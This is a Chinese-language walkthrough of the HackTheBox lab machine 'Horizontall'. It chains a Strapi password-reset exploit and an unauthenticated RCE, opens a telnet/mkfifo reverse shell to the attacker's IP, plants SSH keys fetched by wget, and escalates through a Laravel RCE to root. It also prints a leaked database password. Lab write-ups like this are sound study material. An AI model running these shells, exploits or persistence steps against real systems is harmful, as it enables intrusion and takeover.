【HTB系列】Horizontall
2021-12-5 23:3:12 Author: mp.weixin.qq.com(查看原文) 阅读量:6 收藏

信息收集


配置etc/hosts ,之后访问。

找到了一个子域名api-prod.Hackerthebox-Horizontall.htb,加入到hosts里

echo "10.10.11.105 api-prod.Hackerthebox-Horizontall.htb" >> /etc/hosts

然后咱们去访问一下看看 目录爆破发现admin ,访问admin泄露信息Strapi CMS

┌──(root kali)-[~/Desktop]└─# curl http://api-prod.Hackerthebox-Horizontall.htb/admin/strapiVersion/ {"strapiVersion":"3.0.0-beta.17.4"}

与EXP核对版本号后确认可用

└─# searchsploit Strapi          
-------------------------------------------------------------------------------- ---------------------------
Exploit Title                                                                 | Path
-------------------------------------------------------------------------------- ---------------------------
Strapi 3.0.0-beta - Set Password (Unauthenticated)                             | multiple/webapps/50237.py
Strapi 3.0.0-beta.17.7 - Remote Code Execution (RCE) (Authenticated)           | multiple/webapps/50238.py
Strapi CMS 3.0.0-beta.17.4 - Remote Code Execution (RCE) (Unauthenticated)     | multiple/webapps/50239.py
-------------------------------------------------------------------------------- ---------------------------
Shellcodes: No Results

漏洞利用

将上面的exploit保存为python文件后,使用python3执行

exploit - 50237

这是一个python脚本,过程也很好理解。使用一个邮箱进行密码重置,测试发现只有自动重置的是admin用户的密码

└─# python3 /usr/share/exploitdb/exploits/multiple/webapps/50237.py
[*] strapi version: 3.0.0-beta.17.4
[*] Password reset for user: [email protected]
[*] Setting new password
[+] New password '123' set for user [email protected]

如下图所示使用proxychains进行代理到burp发现,这个重置密码的漏洞其实只跟第三个包有关,执行确认就会更改一个用户的密码。执行重放就可以直接修改密码。。。而且还返回了账号信息

exploit - 50238

这个我试了 感觉可能没啥用。没有详细看。

exploit - 50239

是一个RCE exp。

尝试反弹shell发现无法反弹shell,尝试telnet连接,发现可以连接。尝试其他反弹shell无法运行。这可能是一个哑shell。可能是因为输入输出流的问题。尝试更多方法终于成功。

$> rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|telnet 10.10.14.70 5555 >/tmp/f 
[+] Triggering Remote code executin
[*] Rember this is a blind RCE don't expect to see output
<html>
<head><title>504 Gateway Time-out</title></head>
<body bgcolor="white">
<center><h1>504 Gateway Time-out</h1></center>
<hr><center>nginx/1.14.0 (Ubuntu)</center>
</body>
</html>

linux提权

查看一下开启的端口

这边可以看到开启了一个奇怪的端口8000端口,而我们也无法知道它是干嘛的,而且该端口绑定在127.0.0.1还无法被访问到,要想办法给他代理出来。如果想要代理出来那就是需要使用SSH功能,这边也开启了22端口。尝试到用户根目录写入公钥。

用户根目录在

strapi@Hackerthebox-Horizontall:~/myapi$ pwd
pwd
/opt/strapi/myapi

首先在本地创建ssh密钥

ssh-keygen -t rsa

在本地启动一个http服务器,然后使用我总结的快速写法,(快人一步);然后将本地公钥放入authorized_keys文件中,使用自己私钥连接。

发现内网有多个端口开放。比如133780003306这些端口都有可能有漏洞。先尝试8000端口。将8000端口进行转发到本地的800端口。

ssh -L 800:127.0.0.1:8000 [email protected] -i id_rsa
cd ~;mkdir .ssh;chmod 700 .ssh;cd .ssh;wget http://10.10.14.23/id_rsa.pub;cp id_rsa.pub authorized_keys;chmod 600 authorized_keys;#快速写法写入ssh公钥

发现这个是一个cms 使用search_sploit搜索一下相关漏洞

└─# searchsploit Laravel   
-------------------------------------------------------------------------------- ---------------------------------
Exploit Title                                                                 | Path
-------------------------------------------------------------------------------- ---------------------------------
Laravel - 'Hash::make()' Password Truncation Security                           | multiple/remote/39318.txt
Laravel 8.4.2 debug mode - Remote code execution                               | php/webapps/49424.py
Laravel Administrator 4 - Unrestricted File Upload (Authenticated)             | php/webapps/49112.py
Laravel Log Viewer < 0.13.0 - Local File Download                               | php/webapps/44343.py
Laravel Nova 3.7.0 - 'range' DoS                                               | php/webapps/49198.txt
PHP Laravel Framework 5.5.40 / 5.6.x < 5.6.30 - token Unserialize Remote Comman | linux/remote/47129.rb
UniSharp Laravel File Manager 2.0.0 - Arbitrary File Read                       | php/webapps/48166.txt
UniSharp Laravel File Manager 2.0.0-alpha7 - Arbitrary File Upload             | php/webapps/46389.py
-------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results

直接使用脚本,运行即可得到权限。

这里使用为了不让环境混乱,

使用脚本运行得到root权限

然后将anthorized_keys复制到root目录下直接使用root登录。或者直接使用一句话下面的命令快速。但是,如果在内网渗透中最好使用命令,尽量避免明文传输。而且使用cp命令也更见简单。而且权限直接是600

cd ~;mkdir .ssh;chmod 700 .ssh;cd .ssh;wget http://10.10.14.24/id_rsa.pub;cp id_rsa.pub authorized_keys;chmod 600 authorized_keys;#快速写法写入ssh公钥
mkdir /root/.ssh;chmod 700 .ssh;cp /opt/strapi/.ssh/authorized_keys /root/.ssh/authorized_keys;

其他思路

尝试数据库配置文件在strapi 用户目录下查找数据库 相关的关键词运行

发现development具有一个数据库配置文件。

developer
#J!:F9Zt2u

数据库连接成功

mysql> select version();
+-------------------------+
| version()               |
+-------------------------+
| 5.7.35-0ubuntu0.18.04.1 |
+-------------------------+
1 row in set (0.00 sec)
mysql> select @@plugin_dir;
+------------------------+
| @@plugin_dir           |
+------------------------+
| /usr/lib/mysql/plugin/ |
+------------------------+
1 row in set (0.00 sec)
mysql>  show global variables like '%secure_file_priv%';
+------------------+-----------------------+
| Variable_name    | Value                 |
+------------------+-----------------------+
| secure_file_priv | /var/lib/mysql-files/ |
+------------------+-----------------------+
1 row in set (0.00 sec)

但是无法向plugin目录下写udf。

没办法了。

有的路,走着走着就没了。

内存中读取mysql的root密码

References


文章来源: https://mp.weixin.qq.com/s?__biz=MzU3MTU3NDk4Mw==&mid=2247484894&idx=1&sn=3e113de3b715fc4872bf8939ed711543&chksm=fcdf5a76cba8d36062a01042c85798cb9bdf5205f18cee85ce25b52d80d8514a555f8161850b&scene=58&subscene=0#rd
如有侵权请联系:admin#unsafe.sh